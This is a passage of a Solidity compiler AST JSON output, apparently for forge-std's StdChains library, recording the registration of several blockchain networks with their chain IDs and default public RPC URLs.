\"https://rpc.ankr.com/bsc_testnet_chapel\""},"value":"https://rpc.ankr.com/bsc_testnet_chapel"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3b1d88342c4ab079c9a8243ef8dfeb0bb41e1da5dc9fe62ca728dfe4ea21092c","typeString":"literal_string \"BNB Smart Chain Testnet\""},{"typeIdentifier":"t_rational_97_by_1","typeString":"int_const 97"},{"typeIdentifier":"t_stringliteral_6660930de41ed298fb6a2348f33b08e5736a3823e6ffb86942097b237e075960","typeString":"literal_string \"https://rpc.ankr.com/bsc_testnet_chapel\""}],"id":3359,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"10454:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3363,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10454:83:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1813de9892ab9db3d0c3b0c3eed9c8b820fe0c7e205bed860e6e89f4d7f75f29","typeString":"literal_string \"bnb_smart_chain_testnet\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3357,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"10376:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10376:171:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3365,"nodeType":"ExpressionStatement","src":"10376:171:2"},{"expression":{"arguments":[{"hexValue":"676e6f7369735f636861696e","id":3367,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10583:14:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_847b7ed4df59b2dfcdba377bf4ac481c502926169e9af948ee2dd45c0e6df595","typeString":"literal_string \"gnosis_chain\""},"value":"gnosis_chain"},{"arguments":[{"hexValue":"476e6f73697320436861696e","id":3369,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10609:14:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_9bfc6ae4a1f5d8ea33b4f631c2f7dfbfa7d613af42ef38137c06d4cd03619b02","typeString":"literal_string \"Gnosis Chain\""},"value":"Gnosis Chain"},{"hexValue":"313030","id":3370,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10625:3:2","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"},{"hexValue":"68747470733a2f2f7270632e676e6f736973636861696e2e636f6d","id":3371,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10630:29:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_127e02590d58e22164456f76136047039faabc2ca27eb41939081a3e775b50df","typeString":"literal_string \"https://rpc.gnosischain.com\""},"value":"https://rpc.gnosischain.com"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9bfc6ae4a1f5d8ea33b4f631c2f7dfbfa7d613af42ef38137c06d4cd03619b02","typeString":"literal_string \"Gnosis Chain\""},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},{"typeIdentifier":"t_stringliteral_127e02590d58e22164456f76136047039faabc2ca27eb41939081a3e775b50df","typeString":"literal_string \"https://rpc.gnosischain.com\""}],"id":3368,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"10599:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3372,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10599:61:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_847b7ed4df59b2dfcdba377bf4ac481c502926169e9af948ee2dd45c0e6df595","typeString":"literal_string \"gnosis_chain\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3366,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"10557:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10557:104:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3374,"nodeType":"ExpressionStatement","src":"10557:104:2"},{"expression":{"arguments":[{"hexValue":"6d6f6f6e6265616d","id":3376,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10697:10:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_26aaddd9933ae745bc6e39b5e8962c0d0eef85597e0bdcb35ce7e0d96b84735d","typeString":"literal_string \"moonbeam\""},"value":"moonbeam"},{"arguments":[{"hexValue":"4d6f6f6e6265616d","id":3378,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10719:10:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_99a49606e97aa9d58789783bd4cdfcc3ab4072167b449d1e303cb1135216531b","typeString":"literal_string \"Moonbeam\""},"value":"Moonbeam"},{"hexValue":"31323834","id":3379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10731:4:2","typeDescriptions":{"typeIdentifier":"t_rational_1284_by_1","typeString":"int_const 1284"},"value":"1284"},{"hexValue":"68747470733a2f2f7270632e6170692e6d6f6f6e6265616d2e6e6574776f726b","id":3380,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10737:34:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_cf5d37a68a82777d3f0adcdf64b39d98f1e820688e4ced698cd753bbd1e32191","typeString":"literal_string \"https://rpc.api.moonbeam.network\""},"value":"https://rpc.api.moonbeam.network"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_99a49606e97aa9d58789783bd4cdfcc3ab4072167b449d1e303cb1135216531b","typeString":"literal_string \"Moonbeam\""},{"typeIdentifier":"t_rational_1284_by_1","typeString":"int_const 1284"},{"typeIdentifier":"t_stringliteral_cf5d37a68a82777d3f0adcdf64b39d98f1e820688e4ced698cd753bbd1e32191","typeString":"literal_string \"https://rpc.api.moonbeam.network\""}],"id":3377,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"10709:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10709:63:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_26aaddd9933ae745bc6e39b5e8962c0d0eef85597e0bdcb35ce7e0d96b84735d","typeString":"literal_string \"moonbeam\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3375,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"10671:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3382,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10671:102:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3383,"nodeType":"ExpressionStatement","src":"10671:102:2"},{"expression":{"arguments":[{"hexValue":"6d6f6f6e7269766572","id":3385,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10822:11:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_2eb4cae4af32e190d8881d6d0a59016ff55092d3a70bcf6b321432516acfd74a","typeString":"literal_string \"moonriver\""},"value":"moonriver"},{"arguments":[{"hexValue":"4d6f6f6e7269766572","id":3387,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10845:11:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_65d5ad77d0dd38eb7219d1087db2cb9c2440e3f70be3ee1567aa2329d21dad8a","typeString":"literal_string \"Moonriver\""},"value":"Moonriver"},{"hexValue":"31323835","id":3388,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10858:4:2","typeDescriptions":{"typeIdentifier":"t_rational_1285_by_1","typeString":"int_const 1285"},"value":"1285"},{"hexValue":"68747470733a2f2f7270632e6170692e6d6f6f6e72697665722e6d6f6f6e6265616d2e6e6574776f726b","id":3389,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10864:44:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_cdf0715ef9b420dea4501d55a4c023de5bc6e2be267c3e3ec8345021a77f3e46","typeString":"literal_string \"https://rpc.api.moonriver.moonbeam.network\""},"value":"https://rpc.api.moonriver.moonbeam.network"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_65d5ad77d0dd38eb7219d1087db2cb9c2440e3f70be3ee1567aa2329d21dad8a","typeString":"literal_string \"Moonriver\""},{"typeIdentifier":"t_rational_1285_by_1","typeString":"int_const 1285"},{"typeIdentifier":"t_stringliteral_cdf0715ef9b420dea4501d55a4c023de5bc6e2be267c3e3ec8345021a77f3e46","typeString":"literal_string \"https://rpc.api.moonriver.moonbeam.network\""}],"id":3386,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"10835:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3390,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10835:74:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2eb4cae4af32e190d8881d6d0a59016ff55092d3a70bcf6b321432516acfd74a","typeString":"literal_string \"moonriver\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3384,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"10783:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3391,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10783:136:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3392,"nodeType":"ExpressionStatement","src":"10783:136:2"},{"expression":{"arguments":[{"hexValue":"6d6f6f6e62617365","id":3394,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10955:10:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_ccd05eb377a4954d8471e48341881dadc4d2a36094f09ce309d35b3b6204f44e","typeString":"literal_string \"moonbase\""},"value":"moonbase"},{"arguments":[{"hexValue":"4d6f6f6e62617365","id":3396,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10977:10:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_6f3c53069778183912da77a05fe67c3d6edb208ffdf1ca0161d51543035e3c68","typeString":"literal_string \"Moonbase\""},"value":"Moonbase"},{"hexValue":"31323837","id":3397,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10989:4:2","typeDescriptions":{"typeIdentifier":"t_rational_1287_by_1","typeString":"int_const 1287"},"value":"1287"},{"hexValue":"68747470733a2f2f7270632e746573746e65742e6d6f6f6e6265616d2e6e6574776f726b","id":3398,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10995:38:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_611da7a50d9bf940412b47209c78030562dd2047afcf97dad69e15217355b585","typeString":"literal_string \"https://rpc.testnet.moonbeam.network\""},"value":"https://rpc.testnet.moonbeam.network"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6f3c53069778183912da77a05fe67c3d6edb208ffdf1ca0161d51543035e3c68","typeString":"literal_string \"Moonbase\""},{"typeIdentifier":"t_rational_1287_by_1","typeString":"int_const 1287"},{"typeIdentifier":"t_stringliteral_611da7a50d9bf940412b47209c78030562dd2047afcf97dad69e15217355b585","typeString":"literal_string \"https://rpc.testnet.moonbeam.network\""}],"id":3395,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"10967:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3399,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10967:67:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ccd05eb377a4954d8471e48341881dadc4d2a36094f09ce309d35b3b6204f44e","typeString":"literal_string \"moonbase\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3393,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"10929:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3400,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10929:106:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3401,"nodeType":"ExpressionStatement","src":"10929:106:2"},{"expression":{"arguments":[{"hexValue":"626173655f676f65726c69","id":3403,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11071:13:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_7771afa4349893cae49dbfef99b6374cd30f87f5d7766d4ab99877e27fd208e4","typeString":"literal_string \"base_goerli\""},"value":"base_goerli"},{"arguments":[{"hexValue":"4261736520476f65726c69","id":3405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11096:13:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_76a092011ba850b395ad60ba9ac9bcd8ab9f521c707efb79c387c990f44ec839","typeString":"literal_string \"Base Goerli\""},"value":"Base Goerli"},{"hexValue":"3834353331","id":3406,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11111:5:2","typeDescriptions":{"typeIdentifier":"t_rational_84531_by_1","typeString":"int_const 84531"},"value":"84531"},{"hexValue":"68747470733a2f2f676f65726c692e626173652e6f7267","id":3407,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11118:25:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_4bb8d363d19d0c22b05d63a86a961b3cc5b368d509e7829bd2453cee00032e56","typeString":"literal_string \"https://goerli.base.org\""},"value":"https://goerli.base.org"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_76a092011ba850b395ad60ba9ac9bcd8ab9f521c707efb79c387c990f44ec839","typeString":"literal_string \"Base Goerli\""},{"typeIdentifier":"t_rational_84531_by_1","typeString":"int_const 84531"},{"typeIdentifier":"t_stringliteral_4bb8d363d19d0c22b05d63a86a961b3cc5b368d509e7829bd2453cee00032e56","typeString":"literal_string \"https://goerli.base.org\""}],"id":3404,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"11086:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3408,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11086:58:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7771afa4349893cae49dbfef99b6374cd30f87f5d7766d4ab99877e27fd208e4","typeString":"literal_string \"base_goerli\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3402,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"11045:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11045:100:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3410,"nodeType":"ExpressionStatement","src":"11045:100:2"},{"expression":{"arguments":[{"hexValue":"62617365","id":3412,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11181:6:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_f1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f","typeString":"literal_string \"base\""},"value":"base"},{"arguments":[{"hexValue":"42617365","id":3414,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11199:6:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ae0ac2f852a779a7f563e86fd9f7493133d36d105b67aa4ae634de521805c78","typeString":"literal_string \"Base\""},"value":"Base"},{"hexValue":"38343533","id":3415,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11207:4:2","typeDescriptions":{"typeIdentifier":"t_rational_8453_by_1","typeString":"int_const 8453"},"value":"8453"},{"hexValue":"68747470733a2f2f6d61696e6e65742e626173652e6f7267","id":3416,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11213:26:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_a7cada1c9191e2f8d595127a4d3f6fa90fd263d9c81f2466ebe2e780722f9202","typeString":"literal_string \"https://mainnet.base.org\""},"value":"https://mainnet.base.org"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0ae0ac2f852a779a7f563e86fd9f7493133d36d105b67aa4ae634de521805c78","typeString":"literal_string \"Base\""},{"typeIdentifier":"t_rational_8453_by_1","typeString":"int_const 8453"},{"typeIdentifier":"t_stringliteral_a7cada1c9191e2f8d595127a4d3f6fa90fd263d9c81f2466ebe2e780722f9202","typeString":"literal_string \"https://mainnet.base.org\""}],"id":3413,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"11189:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3417,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11189:51:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f","typeString":"literal_string \"base\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3411,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"11155:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3418,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11155:86:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3419,"nodeType":"ExpressionStatement","src":"11155:86:2"},{"expression":{"arguments":[{"hexValue":"6672617874616c","id":3421,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11277:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_39520897016aaf0ab8e5bf7b0c72c0875359483112298e4b64220a3abfb31c1a","typeString":"literal_string \"fraxtal\""},"value":"fraxtal"},{"arguments":[{"hexValue":"4672617874616c","id":3423,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11298:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_258a91ae779c05105302c0ca8434df9790a9dacc2a8d962203ef42cdff863a26","typeString":"literal_string \"Fraxtal\""},"value":"Fraxtal"},{"hexValue":"323532","id":3424,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11309:3:2","typeDescriptions":{"typeIdentifier":"t_rational_252_by_1","typeString":"int_const 252"},"value":"252"},{"hexValue":"68747470733a2f2f7270632e667261782e636f6d","id":3425,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11314:22:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_1b64bb600df7e2957113c841c567f3ce6aa968babbf2ca546497c7c808b6975e","typeString":"literal_string \"https://rpc.frax.com\""},"value":"https://rpc.frax.com"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_258a91ae779c05105302c0ca8434df9790a9dacc2a8d962203ef42cdff863a26","typeString":"literal_string \"Fraxtal\""},{"typeIdentifier":"t_rational_252_by_1","typeString":"int_const 252"},{"typeIdentifier":"t_stringliteral_1b64bb600df7e2957113c841c567f3ce6aa968babbf2ca546497c7c808b6975e","typeString":"literal_string \"https://rpc.frax.com\""}],"id":3422,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"11288:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3426,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11288:49:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_39520897016aaf0ab8e5bf7b0c72c0875359483112298e4b64220a3abfb31c1a","typeString":"literal_string \"fraxtal\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3420,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"11251:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3427,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11251:87:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3428,"nodeType":"ExpressionStatement","src":"11251:87:2"},{"expression":{"arguments":[{"hexValue":"6672617874616c5f746573746e6574","id":3430,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11374:17:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_25a8d3f8b42e5ee6eb46a7e906575c3f65c7d75f89e14d4f1980b180625cf40d","typeString":"literal_string \"fraxtal_testnet\""},"value":"fraxtal_testnet"},{"arguments":[{"hexValue":"4672617874616c20546573746e6574","id":3432,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11403:17:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_c3fd54ce348914a0de2945cd0a56373f7fc69c9aa205c9e9f7836ef06688a009","typeString":"literal_string \"Fraxtal Testnet\""},"value":"Fraxtal Testnet"},{"hexValue":"32353232","id":3433,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11422:4:2","typeDescriptions":{"typeIdentifier":"t_rational_2522_by_1","typeString":"int_const 2522"},"value":"2522"},{"hexValue":"68747470733a2f2f7270632e746573746e65742e667261782e636f6d","id":3434,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11428:30:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_12e6821fb9893e70ea8e6b012b4fcfb4682180e2d4c75ac5fb9c7e85c0a0d241","typeString":"literal_string \"https://rpc.testnet.frax.com\""},"value":"https://rpc.testnet.frax.com"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c3fd54ce348914a0de2945cd0a56373f7fc69c9aa205c9e9f7836ef06688a009","typeString":"literal_string \"Fraxtal Testnet\""},{"typeIdentifier":"t_rational_2522_by_1","typeString":"int_const 2522"},{"typeIdentifier":"t_stringliteral_12e6821fb9893e70ea8e6b012b4fcfb4682180e2d4c75ac5fb9c7e85c0a0d241","typeString":"literal_string \"https://rpc.testnet.frax.com\""}],"id":3431,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"11393:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3435,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11393:66:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_25a8d3f8b42e5ee6eb46a7e906575c3f65c7d75f89e14d4f1980b180625cf40d","typeString":"literal_string \"fraxtal_testnet\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3429,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"11348:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData 